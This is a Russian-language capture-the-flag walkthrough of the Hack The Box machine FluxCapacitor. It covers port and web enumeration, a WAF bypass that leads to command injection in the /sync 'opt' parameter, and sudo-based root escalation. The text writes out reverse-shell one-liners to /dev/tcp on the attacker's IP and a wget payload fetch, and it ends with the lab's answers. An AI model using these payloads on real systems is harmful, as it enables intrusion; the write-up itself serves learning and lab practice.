Для начала добавим ip-адрес в файлик hosts.

sudo nano /etc/hosts

Проведем начальное сканирование masscan-ом, будем сканировать все TCP и UDP порты со скоростью 500 пакетов в секунду, через интерфейс tun0 и посмотрим результат.

sudo masscan -p1-65535,U:1-65535 10.129.210.16 --rate=500 -e tun0 > fluxcapacitor

cat fluxcapacitor

Теперь просканируем единственный открытый порт nmap-ом. Будем использовать опции sC для скриптов по умолчанию, sV для определения версий служб и oA для вывода результата в файл.

nmap -p80 -sC -sV -oA nmap/fluxcapacitor fluxcapacitor.htb

Nmap отвечает нам, что на порту 80 находится веб-сервер OpenResty версии 1.13.6.1. Видно также заголовок - SuperWAF. Давайте откроем страницу через браузер.

OK: Node1 живая. Это все, что мы получаем. Просмотрев исходники страницы находим комментарий.

Давайте попробуем открыть эндпоинт sync через браузер.

Веб сервер отвечает нам кодом — 403 — доступ запрещен. Чуть выше nmap-ом мы нашли упоминание WAF, значит здесь есть веб-файрвол.

Переключимся на gobuster и просканируем папки на сервере.

gobuster dir -u http://fluxcapacitor.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt

Будет найден эндпоинт sync и ещё другие, начинающиеся также на sync*, к которым тоже нет доступа. Переключимся на burp suite и попробуем поменять заголовок запроса. Включаем перехват в burp suite и через браузер отправляем запрос, ловим запрос в burp suite, отправляем в повторитель и через вкладку Repeater отсылаем запрос.

Получаем опять 403 ошибку. Сейчас давайте изменим агент и снова отправим запрос. Я изменил агент на CatZilla.

И получаем ответ. Нам показывают время.

Это подтверждает, что на сайте работает WAF.

Переключимся на wfuzz и попробуем подобрать параметр для эндпоинта.

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt "http://fluxcapaсitor.htb/sync?FUZZ=test"

Но ответов слишком много, поэтому исключим код 19 в столбце Chars и продолжим.

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh=19 "http://fluxcapaсitor.htb/sync?FUZZ=test"

Wfuzz находит нам параметр opt. Вернемся в burp suite и добавим этот параметр.

И также в ответе будем получать текущее время.

Но если добавим CatZilla параметру, снова получим 403 ошибку.

Экранируя запрос, получим хороший ответ 200.

Добавляя символ ; снова получим ошибку. Т.е. какие-то символы пропускаются, а какие-то нет. Вернемся к wfuzz, и найдем разрешенные, и запрещенные символы.

wfuzz -c -w /usr/share/seclists/Fuzzing/special-chars.txt -H "User-Agent: CatZilla" "http://fluxcapacitor.htb/sync?opt=FUZZ"

wfuzz очень быстро отработал и показал нам такой результат.

;`|)(*$<> - являются запрещенными символами. Попробуем составить конструкцию из разрешенных символов и пропингуем себя. Для этого сначала запустим tcpdump.

sudo tcpdump -i tun0 icmp

Если сделаем запрос /sync?opt='pi\ng 10.10.16.10' то никаких пингов не будет. Но если добавим пробел в начало команды, то ping запустится.

Попробуем составить запрос для загрузки файла с использованием wget, предварительно подготовив файл с реверс-шеллом, предварительно заменим ip-адрес на адрес своего туннельного интерфейса.

nano index.html

#!/bin/bash

bash -i >& /dev/tcp/10.10.16.10/1234 0>&1

Запустим веб сервер на Python.

python3 -m http.server 80

И сформируем запрос.

Но получим 403 ошибку. Попробуем экранировать символы.

И файл будет успешно закачан. Давайте теперь запустим реверс-шелл, предварительно запустив прослушиватель.

И получаем сессию в nc.

И читаем пользовательский флаг.

Сразу посмотрим sudo.

sudo -l

Из вывода команды видно, что через sudo мы модем запускать скрипт .monit по пути /home/themiddle/ Давайте посмотрим этот скрипт.

Скрипт очень простой. Сначала нужно передать cmd, а затем base64-закодированную нагрузку, которая будет запускаться под root.

Сначала запустим слушатель на порту 2345.

nc -lnvp 2345

И закодируем нагрузку.

echo "bash -i >& /dev/tcp/10.10.16.10/2345 0>&1" | base64

Полученную строку передадим скрипт и переходим в слушатель.

Пришло время прочитать флаг root.

Видео-прохождение можно посмотреть на рутубе:https://rutube.ru/video/f7db6bfce6a809468479fafc3c234a6c/

Ответы на вопросы:

How many TCP ports are listening on FluxCapacitor? - 1

What is the relative endpoint on the webserver that returns a timestamp when not blocked by the web application firewall (WAF)? - /sync

What HTTP GET parameter changes the output of /sync? - opt

What user is the webserver running as? - nobody

What is the full path to the file that the nobody user can run as root with sudo - /home/themiddle/.monit